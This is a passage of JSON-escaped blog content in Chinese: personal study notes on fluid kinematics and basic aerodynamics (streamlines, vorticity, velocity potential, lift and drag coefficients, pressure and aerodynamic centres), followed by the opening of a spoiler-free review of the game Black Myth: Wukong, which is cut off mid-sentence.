km\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e$F_1$ 层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:180~220 km\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e$F_2$ 层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:300~350 km\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e国际标准大气\u003c/h2\u003e\n\u003cp\u003e航空工程中统一的大气压强、密度、温度等参数标准,按中纬度地区全年平均条件统计确定,称为国际标准大气。\u003c/p\u003e\n\u003ch1\u003e流体运动学与动力学基础\u003c/h1\u003e\n\u003ch2\u003e流场\u003c/h2\u003e\n\u003cp\u003e流场:充满运动流体的空间\u003cbr/\u003e\n流动参数:用以表示流体运动特征的物理量,入速度、密度、压强等。\u003cbr/\u003e\n流体力学方法:拉格朗日法,欧拉法\u003c/p\u003e\n\u003ch3\u003e拉格朗日法\u003c/h3\u003e\n\u003cp\u003e着眼于\u003cstrong\u003e质点\u003c/strong\u003e(运动)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e研究流场各个质点的运动参数随时间变化规律和运动轨迹。\u003c/li\u003e\n\u003cli\u003e综合所有流体质点运动参数变化从而得到整个流场运动规律。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e欧拉法\u003c/h3\u003e\n\u003cp\u003e着眼于\u003cstrong\u003e空间点\u003c/strong\u003e(不动)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e研究流体质点通过空间固定点时,运动参数随时间变化规律。\u003c/li\u003e\n\u003cli\u003e综合流场中所有空间点处运动参数变化情况,可得到整个流场运动规律。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e欧拉法中,流场运动参数一般是空间点坐标和时间的函数。\u003cbr/\u003e\n以速度为例\u003cbr/\u003e\n$$\u003cbr/\u003e\nv=v(x,y,z,t)\u003cbr/\u003e\n$$\u003cbr/\u003e\n四个变量独立。\u003cbr/\u003e\n一般三维空间中,建立笛卡尔坐标系,将标量参数分解到 $x,y,z$ 轴方向分别分析。\u003cbr/\u003e\n$$\u003cbr/\u003e\nv_x=v_x(x,y,z,t)\u003cbr/\u003e\n$$\u003cbr/\u003e\n求导得加速度分量\u003cbr/\u003e\n$$\u003cbr/\u003e\na_x=\\frac{d v_x}{dt}=\\frac{\\partial v_x}{\\partial t}+\\frac{\\partial v_x}{\\partial x}\\frac{dx}{dt}+\\frac{\\partial v_x}{\\partial y}\\frac{dy}{dt}+\\frac{\\partial v_x}{\\partial z}\\frac{dz}{dt}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\because$ $\\frac{dx}{dt}=v_x,\\frac{dy}{dt}=v_y,\\frac{dz}{dt}=v_z$\u003cbr/\u003e\n$\\therefore$\u003cbr/\u003e\n$$\u003cbr/\u003e\na_x=\\frac{\\partial v_x}{\\partial t}+v_x \\frac{\\partial v_x}{\\partial x}+v_y \\frac{\\partial v_x}{\\partial y}+v_z \\frac{\\partial v_x}{\\partial z}\u003cbr/\u003e\n$$\u003cbr/\u003e\n由此可知,加速度是时间和位置的函数\u003cbr/\u003e\n$$\u003cbr/\u003e\na_x=a_x(t,x,y,z)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e当地加速度\u003c/h4\u003e\n\u003cp\u003e等式右边第一项表示空间固定点处的流体质点速度随时间变化率,称\u003cstrong\u003e当地加速度\u003c/strong\u003e。(速度与时间关系)\u003cbr/\u003e\n当地加速度是由流场中速度随时间的变化性引起的。\u003c/p\u003e\n\u003ch4\u003e迁移加速度\u003c/h4\u003e\n\u003cp\u003e后三项反映在同一瞬时,流体质点沿速度矢量方向从空间一点运动到相邻另一点速度变化率,称为\u003cstrong\u003e迁移加速度\u003c/strong\u003e。(速度与位移关系)\u003cbr/\u003e\n迁移加速度是由流畅的不均匀性引起的。\u003c/p\u003e\n\u003ch4\u003e非定常流场\u003c/h4\u003e\n\u003cp\u003e流场中至少存在一\u003cstrong\u003e空间点\u003c/strong\u003e的物理量随时间变化。\u003c/p\u003e\n\u003ch4\u003e定常流场\u003c/h4\u003e\n\u003cp\u003e流场中\u003cstrong\u003e任意空间点\u003c/strong\u003e处的物理量不随时间变化。\u003c/p\u003e\n\u003ch3\u003e迹线\u003c/h3\u003e\n\u003cp\u003e流场中标定的运动流体质点在一段时间内所经过所有空间点的集合,称为该流体质点迹线。\u003c/p\u003e\n\u003ch3\u003e流线\u003c/h3\u003e\n\u003cp\u003e在流场中每一空间点上都\u003cstrong\u003e与速度矢量相切\u003c/strong\u003e的曲线称为流线。\u003cbr/\u003e\n流线是同一时刻不同流体质点所组成的曲线,它给出该时刻不同流体质点的速度方向。\u003cbr/\u003e\n\u003cstrong\u003e特点:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e在定常流场中各流线不随时间变化。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e非定常流场中存在随时间变化的流线。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e定常流场中,经过某一空间点的流线,与所有\u003cstrong\u003e经过该空间点的流体质点\u003c/strong\u003e的迹线重合。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e一般流线不相交(同一时刻同一空间点不存在两个速度方向)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在速度为 0 的空间点上,流线可以相交。通常称速度为 0 的空间点为\u003cstrong\u003e驻点\u003c/strong\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在速度无穷大的空间点上,流线可以相交,通常称速度无穷大的空间点为\u003cstrong\u003e奇点\u003c/strong\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e流线相切,切点后两线重合。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e流场中每一点都有流线通过,所有流线集合称为\u003cstrong\u003e流线谱\u003c/strong\u003e或简称\u003cstrong\u003e流谱\u003c/strong\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e流线微分方程\u003c/h3\u003e\n\u003cp\u003e设流线上某点 $M(x,y,z)$ 处速度为 $\\vec{v}$ ,$M$ 点流线微段长 $ds$ ,在笛卡尔坐标系分解为 $v_x,v_y,v_z$ 和 $dx,dy,dz$ 。\u003cbr/\u003e\n流线任一点速度方向与流线切线方向相同,则\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\cos(\\vec{v},\\vec{i})=\\frac{v_x}{v}=\\frac{dx}{ds}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\vec{i}$ 为 $x$ 轴方向单位法向量,$y,z$ 轴同理。\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{dx}{v_x}=\\frac{dy}{v_y}=\\frac{dz}{v_z}\u003cbr/\u003e\n$$\u003cbr/\u003e\n上式即为流线的微分方程式。\u003cbr/\u003e\n已知速度分布时,可求得流场中通过任一点的流线形状。\u003c/p\u003e\n\u003ch3\u003e流管\u003c/h3\u003e\n\u003cp\u003e在流场中一条\u003cstrong\u003e不为流线\u003c/strong\u003e的\u003cstrong\u003e封闭\u003c/strong\u003e曲线 C,过 C 上每一点作流线,由这些流线集合构成的管状曲面称为流管。\u003c/p\u003e\n\u003ch2\u003e流体微团运动分析\u003c/h2\u003e\n\u003ch3\u003e运动形式\u003c/h3\u003e\n\u003ch4\u003e刚体运动\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e平移运动\u003c/li\u003e\n\u003cli\u003e绕轴转动\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e流体运动\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e平移运动\u003c/li\u003e\n\u003cli\u003e绕轴转动\u003c/li\u003e\n\u003cli\u003e变形运动\u003cul\u003e\n\u003cli\u003e直线变形\u003c/li\u003e\n\u003cli\u003e剪切变形\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e二维分析\u003c/h3\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/3516697738.png\" alt=\"Pasted image 20240902212258.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e在流场中任取一矩形流体微团 ABCD,其两边的边长分别为 $\\delta_x,\\delta_y$ ,且均为小量。\u003c/p\u003e\n\u003cp\u003e设 $v_x,v_y$ 为 A 点处流体微团分速度,且分速度均为空间点坐标的连续函数,则 B, D 点速度可用泰勒级数在 A 点的展开表述。\u003cbr/\u003e\n$\\because$ 流体微团边长足够小\u003cbr/\u003e\n$\\therefore$ 二阶以上小量可忽略\u003cbr/\u003e\n$$\u003cbr/\u003e\nv_{Bx}=v_x+\\frac{\\partial v_x}{\\partial x}\\delta_x\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nv_{By}=v_y+\\frac{\\partial v_y}{x}\\delta_x\u003cbr/\u003e\n$$\u003cbr/\u003e\n流体微团运动时,除了整体运动,B 相对于 A 点也有运动。\u003cbr/\u003e\n$x$ 轴方向相对运动速度 $v_{Bx}-v_x=\\frac{\\partial v_x}{\\partial x}\\delta_x$ ,$y$ 轴方向同理 $\\frac{\\partial v_x}{\\partial x}\\delta_x$ 。\u003cbr/\u003e\nD 相对于 A 运动速度为 $v_{Dx}-v_x=\\frac{\\partial v_x}{\\partial y}\\delta_y,v_{Dy}-v_y=\\frac{\\partial v_y}{\\partial y}\\delta_y$ 。\u003c/p\u003e\n\u003ch4\u003e线变形运动\u003c/h4\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/3764817354.png\" alt=\"Pasted image 20240902212840.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e相对速度 $\\frac{\\partial v_x}{\\partial x}\\delta_x$ 和 $\\frac{\\partial v_y}{\\partial y}\\delta_y$ 是矩形 ABCD 边线的直线形变速度,时间 $dt$ 内\u003cbr/\u003e\n$$\u003cbr/\u003e\nAB\u0026#39;=AB+\\frac{\\partial v_x}{\\partial x}\\delta_x dt\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nAD\u0026#39;=AD+\\frac{\\partial v_y}{\\partial y}\\delta_y dt\u003cbr/\u003e\n$$\u003cbr/\u003e\n矩形面积相对变化率为\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{d(\\delta S)}{\\delta S \\cdot dt}=\\frac{AB\u0026#39; \\cdot CD\u0026#39;-AB \\cdot CD}{AB \\cdot CD \\cdot dt}\u003cbr/\u003e\n$$\u003cbr/\u003e\n略去高阶小量后,\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{d(\\delta S)}{\\delta S \\cdot dt}=\\frac{\\partial v_x}{\\partial x}+\\frac{\\partial v_y}{\\partial y}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cp\u003e拓展到三维空间后,同理可得\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{d(\\delta V)}{\\delta V \\cdot dt}=\\frac{\\partial v_x}{\\partial x}+\\frac{\\partial v_y}{\\partial y}+\\frac{\\partial v_z}{\\partial z}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e角变形运动\u003c/h4\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/2463657347.png\" alt=\"Pasted image 20240902214219.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e相对速度 $\\frac{\\partial v_y}{\\partial x}\\delta x,\\frac{\\partial v_x}{\\partial y}\\delta y$ 表示 AB 边和 AD 边绕 A 点的转动。\u003cbr/\u003e\n规定逆时针转动为正,\u003cbr/\u003e\nAB 边转动角速度\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{d\\alpha_1}{dt}=\\frac{\\partial v_y}{\\partial x}\\delta_x / \\delta_x=\\frac{\\partial v_y}{\\partial x}\u003cbr/\u003e\n$$\u003cbr/\u003e\n同理 AD 边转动角速度为\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{d \\alpha_2}{dt}=-\\frac{\\partial v_x}{\\partial y}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch5\u003e微团绕 $z$ 轴转动角速度\u003c/h5\u003e\n\u003cp\u003e\u003cstrong\u003e定义\u003c/strong\u003e:微团在 $xOy$ 平面投影中两条\u003cstrong\u003e互相垂直线\u003c/strong\u003e绕 $z$ 轴转动角速度的\u003cstrong\u003e平均值\u003c/strong\u003e。(角速度和之半)\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\epsilon_z=\\frac{1}{2}(\\frac{\\partial v_y}{\\partial x}-\\frac{\\partial v_x}{\\partial y})\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch5\u003e角变形率\u003c/h5\u003e\n\u003cp\u003e\u003cstrong\u003e定义\u003c/strong\u003e:微团在 $xOy$ 平面投影中两条互相垂直线在\u003cstrong\u003e单位时间内\u003c/strong\u003e的夹角变化量\u003cstrong\u003e之半\u003c/strong\u003e。(角速度差之半)\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\gamma_z=\\frac{1}{2}(\\frac{\\partial v_y}{\\partial x}+\\frac{\\partial v_x}{\\partial y})\u003cbr/\u003e\n$$\u003cbr/\u003e\n拓展到三维空间后,流体微团的三轴转动角速度和角变形率同理可求。\u003cbr/\u003e\n略。\u003c/p\u003e\n\u003ch3\u003e散度\u003c/h3\u003e\n\u003cp\u003e定义:各速度分量在其分量方向上的方向导数之和为速度矢量的三度。\u003cbr/\u003e\n$$\u003cbr/\u003e\ndiv \\vec{v}=\\frac{\\partial v_x}{\\partial x}+\\frac{\\partial v_y}{\\partial y}+\\frac{\\partial v_z}{\\partial z}\u003cbr/\u003e\n$$\u003cbr/\u003e\n物理意义:标定流体微团在运动过程中\u003cstrong\u003e相对体积变化率\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e==假设前提==:流体的密度没有发生变化(流体的运动视为不可压流)。\u003cbr/\u003e\n由一点发出的体积流量定义为\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\lim_{\\delta V \\to 0}\\frac{体积流出量-体积流入量}{\\delta V \\cdot dt}=\\frac{\\partial v_x}{\\partial x}+\\frac{\\partial v_y}{\\partial y}+\\frac{\\partial v_z}{\\partial z}\u003cbr/\u003e\n$$\u003cbr/\u003e\n等于\u003cstrong\u003e单位时间\u003c/strong\u003e内空间某一点处,\u003cstrong\u003e单位体积\u003c/strong\u003e控制体的体积\u003cstrong\u003e净流出量\u003c/strong\u003e,等于流体微团在运动中体积相对变化率。\u003c/p\u003e\n\u003ch3\u003e旋度\u003c/h3\u003e\n\u003cp\u003e定义:旋转角速度的两倍。\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\vec{\\omega}=curl \\vec{v}=(\\frac{\\partial v_z}{\\partial y}-\\frac{\\partial v_y}{\\partial z})\\vec{i}+(\\frac{\\partial v_x}{\\partial z}-\\frac{\\partial v_z}{\\partial x})\\vec{j}+(\\frac{\\partial v_y}{\\partial x}-\\frac{\\partial v_x}{\\partial y})\\vec{k}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e速度位\u003c/h3\u003e\n\u003cp\u003e在流体力学中, 可根据流体微团是否有旋转运动, 而将流体运动分为\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e有旋运动\u003c/li\u003e\n\u003cli\u003e无旋运动\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e当把流动看作无旋运动时,$\\omega=0$ ,\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n\\frac{\\partial v_z}{\\partial y}=\\frac{\\partial v_y}{\\partial z} \\\\\u003cbr/\u003e\n\\frac{\\partial v_x}{\\partial z}=\\frac{\\partial v_z}{\\partial x} \\\\\u003cbr/\u003e\n\\frac{\\partial v_y}{\\partial x}=\\frac{\\partial v_x}{\\partial y} \\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n上述方程组是 $v_xdx+v_ydy+v_zdz$ 构成某函数 $\\phi(x,y,z)$ 全微分的充要条件。即\u003cbr/\u003e\n$$\u003cbr/\u003e\nd \\phi=v_xdx+v_ydy+v_zdz=\\frac{\\partial \\phi}{\\partial x}dx+\\frac{\\partial \\phi}{\\partial y}dy+\\frac{\\partial \\phi}{\\partial z}dz\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\phi$ 称为速度位或速度位函数。\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nv_x=\\frac{\\partial \\phi}{\\partial x}\\\\\u003cbr/\u003e\nv_y=\\frac{\\partial \\phi}{\\partial y}\\\\\u003cbr/\u003e\nv_z=\\frac{\\partial \\phi}{\\partial z}\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n使用\u003cstrong\u003e柱极坐标\u003c/strong\u003e时,\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\phi=\\phi(r,\\theta,z)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nv_r=\\frac{\\partial \\phi}{\\partial r}\\\\\u003cbr/\u003e\nv_\\theta=\\frac{\\partial \\phi}{\\partial \\theta}\\\\\u003cbr/\u003e\nv_z=\\frac{\\partial \\phi}{\\partial z}\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003chr/\u003e\n\u003ch1\u003e基本物理量\u003c/h1\u003e\n\u003ch2\u003e应力 :单位面积上的力称为应力\u003c/h2\u003e\n\u003ch2\u003e标量\u003c/h2\u003e\n\u003ch3\u003e压强\u003c/h3\u003e\n\u003ch3\u003e密度\u003c/h3\u003e\n\u003ch3\u003e温度\u003c/h3\u003e\n\u003ch3\u003e粘性系数\u003c/h3\u003e\n\u003ch2\u003e矢量\u003c/h2\u003e\n\u003ch3\u003e流动速度\u003c/h3\u003e\n\u003ch3\u003e剪应力\u003c/h3\u003e\n\u003ch2\u003e理想气体状态方程\u003c/h2\u003e\n\u003cp\u003e$$\u003cbr/\u003e\npV=nRT\u003cbr/\u003e\n$$\u003cbr/\u003e\n$R=8.314J \\cdot mol^{-1} \\cdot K^{-1}$ 为理想摩尔气体常数。\u003cbr/\u003e\n$$\u003cbr/\u003e\np=\\frac{n \\cdot M}{V}\\frac{R}{M} T\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nn(物质的量) \\cdot M(摩尔质量)=m(质量)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\np=\\rho R\u0026#39; T\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nR\u0026#39;=\\frac{R}{M}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$R\u0026#39;$ 为==比气体常数==。\u003cbr/\u003e\n理想空气 $R\u0026#39;=287J/(kg \\cdot K)$ \u003c/p\u003e\n\u003ch2\u003e空气动力及力矩\u003c/h2\u003e\n\u003ch3\u003e空气动力 $R$:Resultant\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e空气对物体的力\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e压力 $p$ :Pressure\u003c/li\u003e\n\u003cli\u003e剪应力 $\\tau$ :Shear stress\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e压力与剪应力的合力即为空气对物体作用力,空气动力。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e风轴系\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e升力 $L$ :Lift,竖直分力\u003c/li\u003e\n\u003cli\u003e阻力 $D$ :Drag,水平分力\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e自由来流(自由流)\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nV_{\\infty}\u003cbr/\u003e\n$$\u003cbr/\u003e\n自由流是指飞机前未经扰动的来流,也即没有飞机等干扰时,空气的自然流动现象。\u003cbr/\u003e\n升力与阻力的方向由自由来流方向决定。\u003c/p\u003e\n\u003ch3\u003e迎角(攻角)\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\alpha\u003cbr/\u003e\n$$\u003cbr/\u003e\n\u003cstrong\u003e迎角\u003c/strong\u003e(英语:Angle of attack,缩写为AOA,常用\u003ca href=\"https://zh.wikipedia.org/wiki/%E5%B8%8C%E8%87%98%E5%AD%97%E6%AF%8D\" title=\"希腊字母\"\u003e希腊字母\u003c/a\u003eα表示)为\u003ca href=\"https://zh.wikipedia.org/wiki/%E7%A9%BA%E6%B0%A3%E5%8B%95%E5%8A%9B%E5%AD%B8\" title=\"空气动力学\"\u003e空气动力学\u003c/a\u003e名词,为\u003ca href=\"https://zh.wikipedia.org/wiki/%E6%A9%9F%E7%BF%BC\" title=\"机翼\"\u003e机翼\u003c/a\u003e之\u003ca href=\"https://zh.wikipedia.org/wiki/%E7%BF%BC%E5%BC%A6\" title=\"翼弦\"\u003e翼弦\u003c/a\u003e与\u003cstrong\u003e自由流\u003c/strong\u003e(或是\u003cstrong\u003e相对风流\u003c/strong\u003e的方向)之夹角;如为飞机迎角,定义则为机轴对相对风流之夹角。当机翼向\u003cstrong\u003e上\u003c/strong\u003e为\u003cstrong\u003e正\u003c/strong\u003e迎角,向\u003cstrong\u003e下\u003c/strong\u003e则为\u003cstrong\u003e负\u003c/strong\u003e迎角。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e体轴系\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e法向力 $N$:Normal,垂直于机翼方向\u003c/li\u003e\n\u003cli\u003e轴向力 $A$:Axial,平行于机翼方向\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e力矩 $M$:Moment\u003c/h3\u003e\n\u003cp\u003e让飞机抬头的力矩为正,让飞机低头力矩为负。\u003c/p\u003e\n\u003ch3\u003e动压 $q$\u003c/h3\u003e\n\u003cp\u003e自由来流 $V_{\\infty},\\rho_{\\infty}$ 产生的动压\u003cbr/\u003e\n$$\u003cbr/\u003e\nq_{\\infty}=\\frac{1}{2}\\rho_{\\infty}V_{\\infty}^2\u003cbr/\u003e\n$$\u003cbr/\u003e\n单位为 $Pa$ ,同压强\u003c/p\u003e\n\u003ch3\u003e特征几何尺寸 $S$\u003c/h3\u003e\n\u003cp\u003e对三维物体来说是面积,对二位物体来说是周长。\u003c/p\u003e\n\u003ch3\u003e无量纲参数\u003c/h3\u003e\n\u003cp\u003e三维物体常用大写 $C$ ,二维物体常用小写 $c$ 。\u003c/p\u003e\n\u003ch4\u003e升力系数\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nC_L=\\frac{L}{q_{\\infty}S}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e阻力系数\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nC_D=\\frac{D}{q_{\\infty}S}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e法向力系数\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nC_N=\\frac{N}{q_{\\infty}S}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e轴向力系数\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nC_A=\\frac{A}{q_{\\infty}S}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e空气动力系数\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nC_R=\\frac{R}{q_{\\infty}S}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e力矩系数\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nC_M=\\frac{\\vec{M}}{\\vec{r} \\times \\vec{q_{\\infty}}S}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e压力系数\u003c/h4\u003e\n\u003cp\u003e$p$:某点静压\u003cbr/\u003e\n$p_{\\infty}$:自由来流静压\u003cbr/\u003e\n$$\u003cbr/\u003e\nC_p=\\frac{p-p_{\\infty}}{q_{\\infty}}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e摩擦力系数\u003c/h4\u003e\n\u003cp\u003e$\\tau$:某点剪应力,即剪应力对面积导数。量纲同压强。\u003cbr/\u003e\n$$\u003cbr/\u003e\nC_f=\\frac{\\tau}{q_{\\infty}}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch1\u003e两个中心\u003c/h1\u003e\n\u003ch2\u003e压力中心(压心)\u003c/h2\u003e\n\u003cp\u003e压力中心(Pressure Center):流体中的平面或曲面所受流体压力的合力的作用线同该平面或曲面的交点。空气动力 $R$ 对此点力矩为 $\\vec{0}$。\u003c/p\u003e\n\u003ch2\u003e空气动力中心(气动中心,焦点)\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e空气动力中心\u003c/strong\u003e(英语:aerodynamic center,简称 AC)在\u003ca href=\"https://zh.wikipedia.org/wiki/%E7%A9%BA%E6%B0%94%E5%8A%A8%E5%8A%9B%E5%AD%A6\" title=\"空气动力学\"\u003e空气动力学\u003c/a\u003e 中是指\u003ca href=\"https://zh.wikipedia.org/wiki/%E7%BF%BC%E5%9E%8B\" title=\"翼型\"\u003e翼型\u003c/a\u003e 上的一个定点,绕该点的俯仰力矩不随\u003ca href=\"https://zh.wikipedia.org/wiki/%E8%BF%8E%E8%A7%92\" title=\"迎角\"\u003e迎角\u003c/a\u003e 的改变而变化,即\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{d C_M}{d \\alpha}=0\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e气动中心与压力中心的区别\u003c/h2\u003e\n\u003cp\u003e压力中心是力系合成到一个特殊点时,使得这个点的\u003cstrong\u003e合力矩为0\u003c/strong\u003e的点,\u003cstrong\u003e压力中心在气动中心的后面\u003c/strong\u003e;而气动中心是使得\u003cstrong\u003e合力矩不变\u003c/strong\u003e的点。\u003c/p\u003e\n\u003cp\u003e压力中心的位置随着迎角的改变而改变,当迎角增大,升力增大,压力中心前移,这同时使得压力中心与气动中心的距离缩短,增大的升力与缩短力臂乘积刚好是不变的力矩,这也正是气动中心的定义所要求的。\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/Fundamentals-of-aerodynamics.html"},{"title":"《黑神话:悟空》游玩体验(无透)","time":"2024-08-20T13:51:00Z","content":"《悟空》不见灵山两鬓冬,云海低悬雾九重。锁住心猿拴意马,打破顽空始悟空。三清道化元神固,一藏经传紧箍松。莫问前路几春夏,灵山已在汝心中。(8.20凌晨睡不着写的烂诗,现在再看真的挺不错的)客观承...\u003chr /\u003e\u003cp\u003e\u003cstrong\u003e《悟空》\u003c/strong\u003e\u003cbr/\u003e\n\u003cstrong\u003e不见灵山两鬓冬,云海低悬雾九重。\u003c/strong\u003e\u003cbr/\u003e\n\u003cstrong\u003e锁住心猿拴意马,打破顽空始悟空。\u003c/strong\u003e\u003cbr/\u003e\n\u003cstrong\u003e三清道化元神固,一藏经传紧箍松。\u003c/strong\u003e\u003cbr/\u003e\n\u003cstrong\u003e莫问前路几春夏,灵山已在汝心中。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e(8.20凌晨睡不着写的烂诗,现在再看真的挺不错的)\u003c/p\u003e\n\u003cp\u003e客观承认,黑神话:悟空还存在许多bug与优化问题,我一个朋友4060Ti游戏打不开被挡在门外多时。\u003cbr/\u003e\n我目前没有碰到bug,偶有卡顿掉帧但很少(12400F+7700XT)\u003c/p\u003e\n\u003ch2\u003e关于空气墙\u003c/h2\u003e\n\u003cp\u003e空气墙问题存在,属于游科开发经验不足或是做出了取舍。许多看似能过的路,走近却发现是空气墙。当然许多空气墙处已经放了断木、矮石挡着,但对于有跳跃的3D游戏这很难打消玩家探索的欲望。在大家都知道游戏里藏了许多东西的情况下,我喜欢到处乱窜寻找这些隐藏内容,空气墙经常挫伤我的探索热情——你不知道前面那条看似能通过的竹林是空气墙还是真有东西。\u003cbr/\u003e\n事实上游戏是一个个箱庭式关卡,只不过路很多、有高低差、没有地图,偶有两条路是能通联通的。这不是开放世界,用空气墙而非其他路障阻隔两条路很容易误导新手。\u003c/p\u003e\n\u003ch2\u003e关于引导\u003c/h2\u003e\n\u003cp\u003e土地庙(复活/存档点)附近有明显光迹引导,主线必经的妖王也会在沿路放火盆引导。其实一开始土地就提示了沿火盆走,但这个提示很容易被忽略以至于迷路。\u003cbr/\u003e\n缺乏地图的情况下确实很容易迷路,尤其是第一回山林中,到处是一样的植被,而许多洞口阴暗不明显,我打完广智转了半个小时才找到灵虚子。\u003c/p\u003e\n\u003ch2\u003e关于地图\u003c/h2\u003e\n\u003cp\u003e有时候我想有地图会不会解决各种麻烦,可若是提前知道了地图样貌,对于这样的箱庭式设计来说,会不会少了很多惊喜(每条路的尽头都有头目/妖王/宝物等)。或许给一个空地图然后经过的地方绘制着色是个可行的方案,就算不放在左上角常驻也可以放在设置(或土地庙)里。\u003c/p\u003e\n\u003ch2\u003e关于锁定\u003c/h2\u003e\n\u003cp\u003e我觉得现在的锁定已经做得很好了,可以优化的点是有些boss招式位移又快有大视角拉不过来。有些boss的技能脱锁后需要自己再次锁定,在每分每秒都分外危险的战斗中这种临时脱锁真是致命(比如虎先锋骗石化后会接个大